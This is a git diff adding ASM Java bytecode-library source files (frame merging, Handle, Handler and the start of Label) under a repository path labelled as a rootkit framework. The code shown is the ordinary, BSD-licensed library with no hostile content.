push(FLOAT); + break; + case Opcodes.I2D: + case Opcodes.F2D: + pop(1); + push(DOUBLE); + push(TOP); + break; + case Opcodes.F2I: + case Opcodes.ARRAYLENGTH: + case Opcodes.INSTANCEOF: + pop(1); + push(INTEGER); + break; + case Opcodes.LCMP: + case Opcodes.DCMPL: + case Opcodes.DCMPG: + pop(4); + push(INTEGER); + break; + case Opcodes.JSR: + case Opcodes.RET: + throw new IllegalArgumentException("JSR/RET are not supported with computeFrames option"); + case Opcodes.GETSTATIC: + push(symbolTable, argSymbol.value); + break; + case Opcodes.PUTSTATIC: + pop(argSymbol.value); + break; + case Opcodes.GETFIELD: + pop(1); + push(symbolTable, argSymbol.value); + break; + case Opcodes.PUTFIELD: + pop(argSymbol.value); + pop(); + break; + case Opcodes.INVOKEVIRTUAL: + case Opcodes.INVOKESPECIAL: + case Opcodes.INVOKESTATIC: + case Opcodes.INVOKEINTERFACE: + pop(argSymbol.value); + if (opcode != Opcodes.INVOKESTATIC) { + abstractType1 = pop(); + if (opcode == Opcodes.INVOKESPECIAL && argSymbol.name.charAt(0) == '<') { + addInitializedType(abstractType1); + } + } + push(symbolTable, argSymbol.value); + break; + case Opcodes.INVOKEDYNAMIC: + pop(argSymbol.value); + push(symbolTable, argSymbol.value); + break; + case Opcodes.NEW: + push(UNINITIALIZED_KIND | symbolTable.addUninitializedType(argSymbol.value, arg)); + break; + case Opcodes.NEWARRAY: + pop(); + switch (arg) { + case Opcodes.T_BOOLEAN: + push(ARRAY_OF | BOOLEAN); + break; + case Opcodes.T_CHAR: + push(ARRAY_OF | CHAR); + break; + case Opcodes.T_BYTE: + push(ARRAY_OF | BYTE); + break; + case Opcodes.T_SHORT: + push(ARRAY_OF | SHORT); + break; + case Opcodes.T_INT: + push(ARRAY_OF | INTEGER); + break; + case Opcodes.T_FLOAT: + push(ARRAY_OF | FLOAT); + break; + case Opcodes.T_DOUBLE: + push(ARRAY_OF | DOUBLE); + break; + case Opcodes.T_LONG: + push(ARRAY_OF | LONG); + break; + default: + throw new IllegalArgumentException(); + } + break; + case Opcodes.ANEWARRAY: + String arrayElementType = argSymbol.value; + pop(); + if (arrayElementType.charAt(0) == '[') { + push(symbolTable, '[' + arrayElementType); + } else { + push(ARRAY_OF | REFERENCE_KIND | symbolTable.addType(arrayElementType)); + } + break; + case Opcodes.CHECKCAST: + String castType = argSymbol.value; + pop(); + if (castType.charAt(0) == '[') { + push(symbolTable, castType); + } else { + push(REFERENCE_KIND | symbolTable.addType(castType)); + } + break; + case Opcodes.MULTIANEWARRAY: + pop(arg); + push(symbolTable, argSymbol.value); + break; + default: + throw new IllegalArgumentException(); + } + } + + // ----------------------------------------------------------------------------------------------- + // Frame merging methods, used in the second step of the stack map frame computation algorithm + // ----------------------------------------------------------------------------------------------- + + /** + * Merges the input frame of the given {@link Frame} with the input and output frames of this + * {@link Frame}. Returns {@literal true} if the given frame has been changed by this operation + * (the input and output frames of this {@link Frame} are never changed). + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param dstFrame the {@link Frame} whose input frame must be updated. This should be the frame + * of a successor, in the control flow graph, of the basic block corresponding to this frame. + * @param catchTypeIndex if 'frame' corresponds to an exception handler basic block, the type + * table index of the caught exception type, otherwise 0. + * @return {@literal true} if the input frame of 'frame' has been changed by this operation. + */ + final boolean merge( + final SymbolTable symbolTable, final Frame dstFrame, final int catchTypeIndex) { + boolean frameChanged = false; + + // Compute the concrete types of the local variables at the end of the basic block corresponding + // to this frame, by resolving its abstract output types, and merge these concrete types with + // those of the local variables in the input frame of dstFrame. + int numLocal = inputLocals.length; + int numStack = inputStack.length; + if (dstFrame.inputLocals == null) { + dstFrame.inputLocals = new int[numLocal]; + frameChanged = true; + } + for (int i = 0; i < numLocal; ++i) { + int concreteOutputType; + if (outputLocals != null && i < outputLocals.length) { + int abstractOutputType = outputLocals[i]; + if (abstractOutputType == 0) { + // If the local variable has never been assigned in this basic block, it is equal to its + // value at the beginning of the block. + concreteOutputType = inputLocals[i]; + } else { + int dim = abstractOutputType & DIM_MASK; + int kind = abstractOutputType & KIND_MASK; + if (kind == LOCAL_KIND) { + // By definition, a LOCAL_KIND type designates the concrete type of a local variable at + // the beginning of the basic block corresponding to this frame (which is known when + // this method is called, but was not when the abstract type was computed). + concreteOutputType = dim + inputLocals[abstractOutputType & VALUE_MASK]; + if ((abstractOutputType & TOP_IF_LONG_OR_DOUBLE_FLAG) != 0 + && (concreteOutputType == LONG || concreteOutputType == DOUBLE)) { + concreteOutputType = TOP; + } + } else if (kind == STACK_KIND) { + // By definition, a STACK_KIND type designates the concrete type of a local variable at + // the beginning of the basic block corresponding to this frame (which is known when + // this method is called, but was not when the abstract type was computed). + concreteOutputType = dim + inputStack[numStack - (abstractOutputType & VALUE_MASK)]; + if ((abstractOutputType & TOP_IF_LONG_OR_DOUBLE_FLAG) != 0 + && (concreteOutputType == LONG || concreteOutputType == DOUBLE)) { + concreteOutputType = TOP; + } + } else { + concreteOutputType = abstractOutputType; + } + } + } else { + // If the local variable has never been assigned in this basic block, it is equal to its + // value at the beginning of the block. + concreteOutputType = inputLocals[i]; + } + // concreteOutputType might be an uninitialized type from the input locals or from the input + // stack. However, if a constructor has been called for this class type in the basic block, + // then this type is no longer uninitialized at the end of basic block. + if (initializations != null) { + concreteOutputType = getInitializedType(symbolTable, concreteOutputType); + } + frameChanged |= merge(symbolTable, concreteOutputType, dstFrame.inputLocals, i); + } + + // If dstFrame is an exception handler block, it can be reached from any instruction of the + // basic block corresponding to this frame, in particular from the first one. Therefore, the + // input locals of dstFrame should be compatible (i.e. merged) with the input locals of this + // frame (and the input stack of dstFrame should be compatible, i.e. merged, with a one + // element stack containing the caught exception type). + if (catchTypeIndex > 0) { + for (int i = 0; i < numLocal; ++i) { + frameChanged |= merge(symbolTable, inputLocals[i], dstFrame.inputLocals, i); + } + if (dstFrame.inputStack == null) { + dstFrame.inputStack = new int[1]; + frameChanged = true; + } + frameChanged |= merge(symbolTable, catchTypeIndex, dstFrame.inputStack, 0); + return frameChanged; + } + + // Compute the concrete types of the stack operands at the end of the basic block corresponding + // to this frame, by resolving its abstract output types, and merge these concrete types with + // those of the stack operands in the input frame of dstFrame. + int numInputStack = inputStack.length + outputStackStart; + if (dstFrame.inputStack == null) { + dstFrame.inputStack = new int[numInputStack + outputStackTop]; + frameChanged = true; + } + // First, do this for the stack operands that have not been popped in the basic block + // corresponding to this frame, and which are therefore equal to their value in the input + // frame (except for uninitialized types, which may have been initialized). + for (int i = 0; i < numInputStack; ++i) { + int concreteOutputType = inputStack[i]; + if (initializations != null) { + concreteOutputType = getInitializedType(symbolTable, concreteOutputType); + } + frameChanged |= merge(symbolTable, concreteOutputType, dstFrame.inputStack, i); + } + // Then, do this for the stack operands that have pushed in the basic block (this code is the + // same as the one above for local variables). + for (int i = 0; i < outputStackTop; ++i) { + int concreteOutputType; + int abstractOutputType = outputStack[i]; + int dim = abstractOutputType & DIM_MASK; + int kind = abstractOutputType & KIND_MASK; + if (kind == LOCAL_KIND) { + concreteOutputType = dim + inputLocals[abstractOutputType & VALUE_MASK]; + if ((abstractOutputType & TOP_IF_LONG_OR_DOUBLE_FLAG) != 0 + && (concreteOutputType == LONG || concreteOutputType == DOUBLE)) { + concreteOutputType = TOP; + } + } else if (kind == STACK_KIND) { + concreteOutputType = dim + inputStack[numStack - (abstractOutputType & VALUE_MASK)]; + if ((abstractOutputType & TOP_IF_LONG_OR_DOUBLE_FLAG) != 0 + && (concreteOutputType == LONG || concreteOutputType == DOUBLE)) { + concreteOutputType = TOP; + } + } else { + concreteOutputType = abstractOutputType; + } + if (initializations != null) { + concreteOutputType = getInitializedType(symbolTable, concreteOutputType); + } + frameChanged |= + merge(symbolTable, concreteOutputType, dstFrame.inputStack, numInputStack + i); + } + return frameChanged; + } + + /** + * Merges the type at the given index in the given abstract type array with the given type. + * Returns {@literal true} if the type array has been modified by this operation. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param sourceType the abstract type with which the abstract type array element must be merged. + * This type should be of {@link #CONSTANT_KIND}, {@link #REFERENCE_KIND} or {@link + * #UNINITIALIZED_KIND} kind, with positive or null array dimensions. + * @param dstTypes an array of abstract types. These types should be of {@link #CONSTANT_KIND}, + * {@link #REFERENCE_KIND} or {@link #UNINITIALIZED_KIND} kind, with positive or null array + * dimensions. + * @param dstIndex the index of the type that must be merged in dstTypes. + * @return {@literal true} if the type array has been modified by this operation. + */ + private static boolean merge( + final SymbolTable symbolTable, + final int sourceType, + final int[] dstTypes, + final int dstIndex) { + int dstType = dstTypes[dstIndex]; + if (dstType == sourceType) { + // If the types are equal, merge(sourceType, dstType) = dstType, so there is no change. + return false; + } + int srcType = sourceType; + if ((sourceType & ~DIM_MASK) == NULL) { + if (dstType == NULL) { + return false; + } + srcType = NULL; + } + if (dstType == 0) { + // If dstTypes[dstIndex] has never been assigned, merge(srcType, dstType) = srcType. + dstTypes[dstIndex] = srcType; + return true; + } + int mergedType; + if ((dstType & DIM_MASK) != 0 || (dstType & KIND_MASK) == REFERENCE_KIND) { + // If dstType is a reference type of any array dimension. + if (srcType == NULL) { + // If srcType is the NULL type, merge(srcType, dstType) = dstType, so there is no change. + return false; + } else if ((srcType & (DIM_MASK | KIND_MASK)) == (dstType & (DIM_MASK | KIND_MASK))) { + // If srcType has the same array dimension and the same kind as dstType. + if ((dstType & KIND_MASK) == REFERENCE_KIND) { + // If srcType and dstType are reference types with the same array dimension, + // merge(srcType, dstType) = dim(srcType) | common super class of srcType and dstType. + mergedType = + (srcType & DIM_MASK) + | REFERENCE_KIND + | symbolTable.addMergedType(srcType & VALUE_MASK, dstType & VALUE_MASK); + } else { + // If srcType and dstType are array types of equal dimension but different element types, + // merge(srcType, dstType) = dim(srcType) - 1 | java/lang/Object. + int mergedDim = ELEMENT_OF + (srcType & DIM_MASK); + mergedType = mergedDim | REFERENCE_KIND | symbolTable.addType("java/lang/Object"); + } + } else if ((srcType & DIM_MASK) != 0 || (srcType & KIND_MASK) == REFERENCE_KIND) { + // If srcType is any other reference or array type, + // merge(srcType, dstType) = min(srcDdim, dstDim) | java/lang/Object + // where srcDim is the array dimension of srcType, minus 1 if srcType is an array type + // with a non reference element type (and similarly for dstDim). + int srcDim = srcType & DIM_MASK; + if (srcDim != 0 && (srcType & KIND_MASK) != REFERENCE_KIND) { + srcDim = ELEMENT_OF + srcDim; + } + int dstDim = dstType & DIM_MASK; + if (dstDim != 0 && (dstType & KIND_MASK) != REFERENCE_KIND) { + dstDim = ELEMENT_OF + dstDim; + } + mergedType = + Math.min(srcDim, dstDim) | REFERENCE_KIND | symbolTable.addType("java/lang/Object"); + } else { + // If srcType is any other type, merge(srcType, dstType) = TOP. + mergedType = TOP; + } + } else if (dstType == NULL) { + // If dstType is the NULL type, merge(srcType, dstType) = srcType, or TOP if srcType is not a + // an array type or a reference type. + mergedType = + (srcType & DIM_MASK) != 0 || (srcType & KIND_MASK) == REFERENCE_KIND ? srcType : TOP; + } else { + // If dstType is any other type, merge(srcType, dstType) = TOP whatever srcType. + mergedType = TOP; + } + if (mergedType != dstType) { + dstTypes[dstIndex] = mergedType; + return true; + } + return false; + } + + // ----------------------------------------------------------------------------------------------- + // Frame output methods, to generate StackMapFrame attributes + // ----------------------------------------------------------------------------------------------- + + /** + * Makes the given {@link MethodWriter} visit the input frame of this {@link Frame}. The visit is + * done with the {@link MethodWriter#visitFrameStart}, {@link MethodWriter#visitAbstractType} and + * {@link MethodWriter#visitFrameEnd} methods. + * + * @param methodWriter the {@link MethodWriter} that should visit the input frame of this {@link + * Frame}. + */ + final void accept(final MethodWriter methodWriter) { + // Compute the number of locals, ignoring TOP types that are just after a LONG or a DOUBLE, and + // all trailing TOP types. + int[] localTypes = inputLocals; + int numLocal = 0; + int numTrailingTop = 0; + int i = 0; + while (i < localTypes.length) { + int localType = localTypes[i]; + i += (localType == LONG || localType == DOUBLE) ? 2 : 1; + if (localType == TOP) { + numTrailingTop++; + } else { + numLocal += numTrailingTop + 1; + numTrailingTop = 0; + } + } + // Compute the stack size, ignoring TOP types that are just after a LONG or a DOUBLE. + int[] stackTypes = inputStack; + int numStack = 0; + i = 0; + while (i < stackTypes.length) { + int stackType = stackTypes[i]; + i += (stackType == LONG || stackType == DOUBLE) ? 2 : 1; + numStack++; + } + // Visit the frame and its content. + int frameIndex = methodWriter.visitFrameStart(owner.bytecodeOffset, numLocal, numStack); + i = 0; + while (numLocal-- > 0) { + int localType = localTypes[i]; + i += (localType == LONG || localType == DOUBLE) ? 2 : 1; + methodWriter.visitAbstractType(frameIndex++, localType); + } + i = 0; + while (numStack-- > 0) { + int stackType = stackTypes[i]; + i += (stackType == LONG || stackType == DOUBLE) ? 2 : 1; + methodWriter.visitAbstractType(frameIndex++, stackType); + } + methodWriter.visitFrameEnd(); + } + + /** + * Put the given abstract type in the given ByteVector, using the JVMS verification_type_info + * format used in StackMapTable attributes. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param abstractType an abstract type, restricted to {@link Frame#CONSTANT_KIND}, {@link + * Frame#REFERENCE_KIND} or {@link Frame#UNINITIALIZED_KIND} types. + * @param output where the abstract type must be put. + * @see JVMS + * 4.7.4 + */ + static void putAbstractType( + final SymbolTable symbolTable, final int abstractType, final ByteVector output) { + int arrayDimensions = (abstractType & Frame.DIM_MASK) >> DIM_SHIFT; + if (arrayDimensions == 0) { + int typeValue = abstractType & VALUE_MASK; + switch (abstractType & KIND_MASK) { + case CONSTANT_KIND: + output.putByte(typeValue); + break; + case REFERENCE_KIND: + output + .putByte(ITEM_OBJECT) + .putShort(symbolTable.addConstantClass(symbolTable.getType(typeValue).value).index); + break; + case UNINITIALIZED_KIND: + output.putByte(ITEM_UNINITIALIZED).putShort((int) symbolTable.getType(typeValue).data); + break; + default: + throw new AssertionError(); + } + } else { + // Case of an array type, we need to build its descriptor first. + StringBuilder typeDescriptor = new StringBuilder(); + while (arrayDimensions-- > 0) { + typeDescriptor.append('['); + } + if ((abstractType & KIND_MASK) == REFERENCE_KIND) { + typeDescriptor + .append('L') + .append(symbolTable.getType(abstractType & VALUE_MASK).value) + .append(';'); + } else { + switch (abstractType & VALUE_MASK) { + case Frame.ITEM_ASM_BOOLEAN: + typeDescriptor.append('Z'); + break; + case Frame.ITEM_ASM_BYTE: + typeDescriptor.append('B'); + break; + case Frame.ITEM_ASM_CHAR: + typeDescriptor.append('C'); + break; + case Frame.ITEM_ASM_SHORT: + typeDescriptor.append('S'); + break; + case Frame.ITEM_INTEGER: + typeDescriptor.append('I'); + break; + case Frame.ITEM_FLOAT: + typeDescriptor.append('F'); + break; + case Frame.ITEM_LONG: + typeDescriptor.append('J'); + break; + case Frame.ITEM_DOUBLE: + typeDescriptor.append('D'); + break; + default: + throw new AssertionError(); + } + } + output + .putByte(ITEM_OBJECT) + .putShort(symbolTable.addConstantClass(typeDescriptor.toString()).index); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handle.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handle.java new file mode 100644 index 0000000..ec4f249 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handle.java @@ -0,0 +1,189 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. + +package org.objectweb.asm; + +/** + * A reference to a field or a method. + * + * @author Remi Forax + * @author Eric Bruneton + */ +public final class Handle { + + /** + * The kind of field or method designated by this Handle. Should be {@link Opcodes#H_GETFIELD}, + * {@link Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, {@link Opcodes#H_PUTSTATIC}, {@link + * Opcodes#H_INVOKEVIRTUAL}, {@link Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, + * {@link Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + */ + private final int tag; + + /** The internal name of the class that owns the field or method designated by this handle. */ + private final String owner; + + /** The name of the field or method designated by this handle. */ + private final String name; + + /** The descriptor of the field or method designated by this handle. */ + private final String descriptor; + + /** Whether the owner is an interface or not. */ + private final boolean isInterface; + + /** + * Constructs a new field or method handle. + * + * @param tag the kind of field or method designated by this Handle. Must be {@link + * Opcodes#H_GETFIELD}, {@link Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, {@link + * Opcodes#H_PUTSTATIC}, {@link Opcodes#H_INVOKEVIRTUAL}, {@link Opcodes#H_INVOKESTATIC}, + * {@link Opcodes#H_INVOKESPECIAL}, {@link Opcodes#H_NEWINVOKESPECIAL} or {@link + * Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of the class that owns the field or method designated by this + * handle. + * @param name the name of the field or method designated by this handle. + * @param descriptor the descriptor of the field or method designated by this handle. + * @deprecated this constructor has been superseded by {@link #Handle(int, String, String, String, + * boolean)}. + */ + @Deprecated + public Handle(final int tag, final String owner, final String name, final String descriptor) { + this(tag, owner, name, descriptor, tag == Opcodes.H_INVOKEINTERFACE); + } + + /** + * Constructs a new field or method handle. + * + * @param tag the kind of field or method designated by this Handle. Must be {@link + * Opcodes#H_GETFIELD}, {@link Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, {@link + * Opcodes#H_PUTSTATIC}, {@link Opcodes#H_INVOKEVIRTUAL}, {@link Opcodes#H_INVOKESTATIC}, + * {@link Opcodes#H_INVOKESPECIAL}, {@link Opcodes#H_NEWINVOKESPECIAL} or {@link + * Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of the class that owns the field or method designated by this + * handle. + * @param name the name of the field or method designated by this handle. + * @param descriptor the descriptor of the field or method designated by this handle. + * @param isInterface whether the owner is an interface or not. + */ + public Handle( + final int tag, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + this.tag = tag; + this.owner = owner; + this.name = name; + this.descriptor = descriptor; + this.isInterface = isInterface; + } + + /** + * Returns the kind of field or method designated by this handle. + * + * @return {@link Opcodes#H_GETFIELD}, {@link Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, + * {@link Opcodes#H_PUTSTATIC}, {@link Opcodes#H_INVOKEVIRTUAL}, {@link + * Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, {@link + * Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + */ + public int getTag() { + return tag; + } + + /** + * Returns the internal name of the class that owns the field or method designated by this handle. + * + * @return the internal name of the class that owns the field or method designated by this handle. + */ + public String getOwner() { + return owner; + } + + /** + * Returns the name of the field or method designated by this handle. + * + * @return the name of the field or method designated by this handle. + */ + public String getName() { + return name; + } + + /** + * Returns the descriptor of the field or method designated by this handle. + * + * @return the descriptor of the field or method designated by this handle. + */ + public String getDesc() { + return descriptor; + } + + /** + * Returns true if the owner of the field or method designated by this handle is an interface. + * + * @return true if the owner of the field or method designated by this handle is an interface. + */ + public boolean isInterface() { + return isInterface; + } + + @Override + public boolean equals(final Object object) { + if (object == this) { + return true; + } + if (!(object instanceof Handle)) { + return false; + } + Handle handle = (Handle) object; + return tag == handle.tag + && isInterface == handle.isInterface + && owner.equals(handle.owner) + && name.equals(handle.name) + && descriptor.equals(handle.descriptor); + } + + @Override + public int hashCode() { + return tag + + (isInterface ? 64 : 0) + + owner.hashCode() * name.hashCode() * descriptor.hashCode(); + } + + /** + * Returns the textual representation of this handle. The textual representation is: + * + *

    + *
  • for a reference to a class: owner "." name descriptor " (" tag ")", + *
  • for a reference to an interface: owner "." name descriptor " (" tag " itf)". + *
+ */ + @Override + public String toString() { + return owner + '.' + name + descriptor + " (" + tag + (isInterface ? " itf" : "") + ')'; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handler.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handler.java new file mode 100644 index 0000000..21593b6 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Handler.java @@ -0,0 +1,198 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * Information about an exception handler. Corresponds to an element of the exception_table array of + * a Code attribute, as defined in the Java Virtual Machine Specification (JVMS). Handler instances + * can be chained together, with their {@link #nextHandler} field, to describe a full JVMS + * exception_table array. + * + * @see JVMS + * 4.7.3 + * @author Eric Bruneton + */ +final class Handler { + + /** + * The start_pc field of this JVMS exception_table entry. Corresponds to the beginning of the + * exception handler's scope (inclusive). + */ + final Label startPc; + + /** + * The end_pc field of this JVMS exception_table entry. Corresponds to the end of the exception + * handler's scope (exclusive). + */ + final Label endPc; + + /** + * The handler_pc field of this JVMS exception_table entry. Corresponding to the beginning of the + * exception handler's code. + */ + final Label handlerPc; + + /** + * The catch_type field of this JVMS exception_table entry. This is the constant pool index of the + * internal name of the type of exceptions handled by this handler, or 0 to catch any exceptions. + */ + final int catchType; + + /** + * The internal name of the type of exceptions handled by this handler, or {@literal null} to + * catch any exceptions. + */ + final String catchTypeDescriptor; + + /** The next exception handler. */ + Handler nextHandler; + + /** + * Constructs a new Handler. + * + * @param startPc the start_pc field of this JVMS exception_table entry. + * @param endPc the end_pc field of this JVMS exception_table entry. + * @param handlerPc the handler_pc field of this JVMS exception_table entry. + * @param catchType The catch_type field of this JVMS exception_table entry. + * @param catchTypeDescriptor The internal name of the type of exceptions handled by this handler, + * or {@literal null} to catch any exceptions. + */ + Handler( + final Label startPc, + final Label endPc, + final Label handlerPc, + final int catchType, + final String catchTypeDescriptor) { + this.startPc = startPc; + this.endPc = endPc; + this.handlerPc = handlerPc; + this.catchType = catchType; + this.catchTypeDescriptor = catchTypeDescriptor; + } + + /** + * Constructs a new Handler from the given one, with a different scope. + * + * @param handler an existing Handler. + * @param startPc the start_pc field of this JVMS exception_table entry. + * @param endPc the end_pc field of this JVMS exception_table entry. + */ + Handler(final Handler handler, final Label startPc, final Label endPc) { + this(startPc, endPc, handler.handlerPc, handler.catchType, handler.catchTypeDescriptor); + this.nextHandler = handler.nextHandler; + } + + /** + * Removes the range between start and end from the Handler list that begins with the given + * element. + * + * @param firstHandler the beginning of a Handler list. May be {@literal null}. + * @param start the start of the range to be removed. + * @param end the end of the range to be removed. Maybe {@literal null}. + * @return the exception handler list with the start-end range removed. + */ + static Handler removeRange(final Handler firstHandler, final Label start, final Label end) { + if (firstHandler == null) { + return null; + } else { + firstHandler.nextHandler = removeRange(firstHandler.nextHandler, start, end); + } + int handlerStart = firstHandler.startPc.bytecodeOffset; + int handlerEnd = firstHandler.endPc.bytecodeOffset; + int rangeStart = start.bytecodeOffset; + int rangeEnd = end == null ? Integer.MAX_VALUE : end.bytecodeOffset; + // Return early if [handlerStart,handlerEnd[ and [rangeStart,rangeEnd[ don't intersect. + if (rangeStart >= handlerEnd || rangeEnd <= handlerStart) { + return firstHandler; + } + if (rangeStart <= handlerStart) { + if (rangeEnd >= handlerEnd) { + // If [handlerStart,handlerEnd[ is included in [rangeStart,rangeEnd[, remove firstHandler. + return firstHandler.nextHandler; + } else { + // [handlerStart,handlerEnd[ - [rangeStart,rangeEnd[ = [rangeEnd,handlerEnd[ + return new Handler(firstHandler, end, firstHandler.endPc); + } + } else if (rangeEnd >= handlerEnd) { + // [handlerStart,handlerEnd[ - [rangeStart,rangeEnd[ = [handlerStart,rangeStart[ + return new Handler(firstHandler, firstHandler.startPc, start); + } else { + // [handlerStart,handlerEnd[ - [rangeStart,rangeEnd[ = + // [handlerStart,rangeStart[ + [rangeEnd,handerEnd[ + firstHandler.nextHandler = new Handler(firstHandler, end, firstHandler.endPc); + return new Handler(firstHandler, firstHandler.startPc, start); + } + } + + /** + * Returns the number of elements of the Handler list that begins with the given element. + * + * @param firstHandler the beginning of a Handler list. May be {@literal null}. + * @return the number of elements of the Handler list that begins with 'handler'. + */ + static int getExceptionTableLength(final Handler firstHandler) { + int length = 0; + Handler handler = firstHandler; + while (handler != null) { + length++; + handler = handler.nextHandler; + } + return length; + } + + /** + * Returns the size in bytes of the JVMS exception_table corresponding to the Handler list that + * begins with the given element. This includes the exception_table_length field. + * + * @param firstHandler the beginning of a Handler list. May be {@literal null}. + * @return the size in bytes of the exception_table_length and exception_table structures. + */ + static int getExceptionTableSize(final Handler firstHandler) { + return 2 + 8 * getExceptionTableLength(firstHandler); + } + + /** + * Puts the JVMS exception_table corresponding to the Handler list that begins with the given + * element. This includes the exception_table_length field. + * + * @param firstHandler the beginning of a Handler list. May be {@literal null}. + * @param output where the exception_table_length and exception_table structures must be put. + */ + static void putExceptionTable(final Handler firstHandler, final ByteVector output) { + output.putShort(getExceptionTableLength(firstHandler)); + Handler handler = firstHandler; + while (handler != null) { + output + .putShort(handler.startPc.bytecodeOffset) + .putShort(handler.endPc.bytecodeOffset) + .putShort(handler.handlerPc.bytecodeOffset) + .putShort(handler.catchType); + handler = handler.nextHandler; + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Label.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Label.java new file mode 100644 index 0000000..b332586 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Label.java @@ -0,0 +1,621 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// 